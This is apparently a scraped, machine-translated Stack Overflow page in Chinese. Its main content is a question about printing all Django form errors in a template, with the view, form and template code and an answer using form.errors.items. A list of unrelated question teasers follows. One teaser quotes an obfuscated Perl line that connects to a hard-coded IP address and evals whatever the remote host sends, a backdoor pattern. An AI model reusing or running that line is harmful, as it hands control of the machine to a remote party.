- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我不知道如何在 Django (1.7) 模板中打印所有表单错误消息,尽管遵循了官方文档和其他地方的建议。
我有一个帐户 user/pass admin/admin。我故意将 LoginForm 中允许的最小用户名长度更改为 6,以努力获得“错误长度”错误,而不是“错误用户/密码组合”错误(底部的完整表格/查看代码)。
根据 the official docs , 以下应打印所有错误消息:
{% if form.errors %}
{% for error in form.errors %}
<li><strong>{{ error|escape }}</strong></li>
{% endfor %}
{% endif %}
但它只打印“用户名”这个词。
改成这样
{% for error, msg in form.errors %}
<li><strong>{{ error|escape }}: {{ msg|escape }}</strong></li>
{% endfor %}
打印
Username
u: s
嗯?
我也试过这个,但它什么也没打印出来:
{% for error, msg in form.non_field_errors %}
<li><strong>{{ error|escape }}: {{ msg|escape }}</strong></li>
{% endfor %}
与此相同:
{% for error in form.non_field_errors %}
{{error}}
{% endfor %}
还有这个:
{% for error in form.non_field_errors %}
{{error.msg}}
{% endfor %}
this question 中接受的答案建议:
{% for key,value in form.errors.items %}
{% for error in value %}
<li>{{ error|escape }}</li>
{% endfor %}
{% endfor %}
但是,无论 escape
过滤器是否存在,它都会导致
TypeError at/auth/login/-- %=: 'NoneType' 和 'dict' 不支持的操作数类型
(根据 another section in the official docs ,错误对象只是一个字典。)
我也试过this ,如 this question 中所述,但它给出了同样的错误:
{% for field in form %}
<li>{{ field.errors|escape }}</li>
{% endfor %}
请问我错过了什么?
网址入口:
url(r"^login/$",
"auth_lifecycle.registration.view_login.login_maybe_remember",
{ "authentication_form": AuthenticationFormEnforceLength },
name="login"),
view_login.py
from auth_lifecycle.models import PASSWORD_MIN_LEN, PASSWORD_MAX_LEN
from auth_lifecycle.models import USERNAME_MIN_LEN, USERNAME_MAX_LEN
from django import forms #NOT django.contrib.auth.forms
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth.views import login
from django.utils.translation import ugettext, ugettext_lazy as _
def login_maybe_remember(request, *args, **kwargs):
"""
Login with remember-me functionality and length checking. If the
remember-me checkbox is checked, the session is remembered for
SESSION_COOKIE_AGE seconds. If unchecked, the session expires at
browser close.
- https://docs.djangoproject.com/en/1.7/ref/settings/#std:setting-SESSION_COOKIE_AGE
- https://docs.djangoproject.com/en/1.7/topics/http/sessions/#django.contrib.sessions.backends.base.SessionBase.set_expiry
- https://docs.djangoproject.com/en/1.7/topics/http/sessions/#django.contrib.sessions.backends.base.SessionBase.get_expire_at_browser_close
"""
if request.method == 'POST' and not request.POST.get('remember', None):
#This is a login attempt and the checkbox is not checked.
request.session.set_expiry(0)
context = {}
context["USERNAME_MIN_LEN"] = USERNAME_MIN_LEN
context["USERNAME_MAX_LEN"] = USERNAME_MAX_LEN
context["PASSWORD_MIN_LEN"] = PASSWORD_MIN_LEN
context["PASSWORD_MAX_LEN"] = PASSWORD_MAX_LEN
kwargs["extra_context"] = context
return login(request, *args, **kwargs)
def get_min_max_incl_err_msg(min_int, max_int):
"""A basic error message for inclusive string length."""
"Must be between " + str(min_int) + " and " + str(max_int) + " characters, inclusive."
view_login.py
继续:
username_min_max_len_err_msg = get_min_max_incl_err_msg(USERNAME_MIN_LEN, USERNAME_MAX_LEN)
pwd_min_max_len_err_msg = get_min_max_incl_err_msg(PASSWORD_MIN_LEN, PASSWORD_MAX_LEN)
class AuthenticationFormEnforceLength(AuthenticationForm):
"""
An `AuthenticationForm` that enforces min/max lengths.
- https://docs.djangoproject.com/en/1.7/_modules/django/contrib/auth/forms/#AuthenticationForm
Pass this into the login form via the `authentication_form` parameter.
- https://docs.djangoproject.com/en/1.7/topics/auth/default/#django.contrib.auth.views.login
Which is done in `registration/urls.py`.
"""
username = forms.CharField(min_length=USERNAME_MIN_LEN,
max_length=USERNAME_MAX_LEN,
error_messages={
'min_length': username_min_max_len_err_msg,
'max_length': username_min_max_len_err_msg })
password = forms.CharField(label=_("Password"), widget=forms.PasswordInput,
min_length=PASSWORD_MIN_LEN,
max_length=PASSWORD_MAX_LEN,
error_messages={
'min_length': pwd_min_max_len_err_msg,
'max_length': pwd_min_max_len_err_msg })
整个模板:
{% load i18n %} {# For the "trans" tag #}
{% load staticfiles %}{# References the static directory. #}
<!DOCTYPE html> {# Use with "{% static 'color_ajax_like.js' %}" #}
<html lang="en">
<HTML><HEAD>
<TITLE>Login</TITLE>
<!-- The following line makes this page pleasant to view on any device. -->
<meta name="viewport" content="width=device-width" />
</HEAD>
<BODY>
<H1>Login</H1>
{% if form.errors %}
{% for error in form.non_field_errors %}
{{error.msg}}
{% endfor %}
{% endif %}
<form method="post" id="loginForm" action="{% url 'login' %}">
{% csrf_token %}
<table>
<tr>
<td>{{ form.username.label_tag }}</td>
<td>{{ form.username }}</td>
</tr>
<tr>
<td>{{ form.password.label_tag }}</td>
<td>{{ form.password }}</td>
</tr>
</table>
<label><input name="remember" type="checkbox">{% trans "Remember me" %}</label>
<input type="submit" value="login" />
<input type="hidden" name="next" value="{% url 'main_page' %}" />
</form>
<P>{% trans "...I forgot my password..., ...Create a new account..." %}</P>
<p><i><a href="{% url 'main_page' %}">View the main page without logging in.</a></i></p>
<script language="JavaScript">
/*
Before our JavaScript can be imported, the following variables need
to be set from some Django variables. While these values could be
hard-coded here, into the JavaScript, this allows the configuration
to be centrally located.
These four values come from auth_lifecycle.models and are required
by validate_login_user_pass.js.
*/
var minUserLen = {{ USERNAME_MIN_LEN }}; //USERNAME_MIN_LEN
var maxUserLen = {{ USERNAME_MAX_LEN }}; //USERNAME_MAX_LEN
var minPassLen = {{ PASSWORD_MIN_LEN }}; //PASSWORD_MIN_LEN
var maxPassLen = {{ PASSWORD_MAX_LEN }}; //PASSWORD_MAX_LEN
document.getElementById("id_username").focus();
</script>
<script src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.13.0/jquery.validate.min.js"></script>
<script type='text/javascript' src="{% static 'js/validate_login_user_pass.js' %}"></script>
</BODY></HTML>
最佳答案
form.errors
是一个字典。您可以使用 .items
访问键(字段名称或 __all__)和值(错误消息):
{% for error_field, error_message in form.errors.items %}
{{ error_field|striptags }}: {{ error_message|striptags }}
{% endfor %}
关于python - 在模板中打印所有 Django 表单错误的官方建议不工作......或不理解,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28679257/
我试图理解 (>>=).(>>=) ,GHCi 告诉我的是: (>>=) :: Monad m => m a -> (a -> m b) -> m b (>>=).(>>=) :: Mon
关于此 Java 代码,我有以下问题: public static void main(String[] args) { int A = 12, B = 24; int x = A,
对于这个社区来说,这可能是一个愚蠢的基本问题,但如果有人能向我解释一下,我会非常满意,我对此感到非常困惑。我在网上找到了这个教程,这是一个例子。 function sports (x){
def counting_sort(array, maxval): """in-place counting sort""" m = maxval + 1 count = [0
我有一些排序算法的集合,我想弄清楚它究竟是如何运作的。 我对一些说明有些困惑,特别是 cmp 和 jle 说明,所以我正在寻求帮助。此程序集对包含三个元素的数组进行排序。 0.00 :
阅读 PHP.net 文档时,我偶然发现了一个扭曲了我理解 $this 的方式的问题: class C { public function speak_child() { //
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗?更新问题,使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
我有几个关于 pragmas 的相关问题.让我开始这一系列问题的原因是试图确定是否可以禁用某些警告而不用一直到 no worries。 (我还是想担心,至少有点担心!)。我仍然对那个特定问题的答案感兴
我正在尝试构建 CNN使用 Torch 7 .我对 Lua 很陌生.我试图关注这个 link .我遇到了一个叫做 setmetatable 的东西在以下代码块中: setmetatable(train
我有这段代码 use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; 这似乎导入了一个库,但
我有以下代码,它给出了 [2,4,6] : j :: [Int] j = ((\f x -> map x) (\y -> y + 3) (\z -> 2*z)) [1,2,3] 为什么?似乎只使用了“
我刚刚使用 Richard Bird 的书学习 Haskell 和函数式编程,并遇到了 (.) 函数的类型签名。即 (.) :: (b -> c) -> (a -> b) -> (a -> c) 和相
我遇到了andThen ,但没有正确理解它。 为了进一步了解它,我阅读了 Function1.andThen文档 def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm是 Mu
这是一个代码,用作 XMLHttpRequest 的 URL 的附加内容。URL 中显示的内容是: http://something/something.aspx?QueryString_from_b
考虑以下我从 https://stackoverflow.com/a/28250704/460084 获取的代码 function getExample() { var a = promise
将 list1::: list2 运算符应用于两个列表是否相当于将 list1 的所有内容附加到 list2 ? scala> val a = List(1,2,3) a: List[Int] = L
在python中我会写: {a:0 for a in range(5)} 得到 {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} 我怎样才能在 Dart 中达到同样的效果? 到目前为止,我
关闭。这个问题需要多问focused 。目前不接受答案。 想要改进此问题吗?更新问题,使其仅关注一个问题 editing this post . 已关闭 5 年前。 Improve this ques
我有以下 make 文件: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
有人可以帮助或指导我如何理解以下实现中的 fmap 函数吗? data Rose a = a :> [Rose a] deriving (Eq, Show) instance Functor Rose
我是一名优秀的程序员,十分优秀!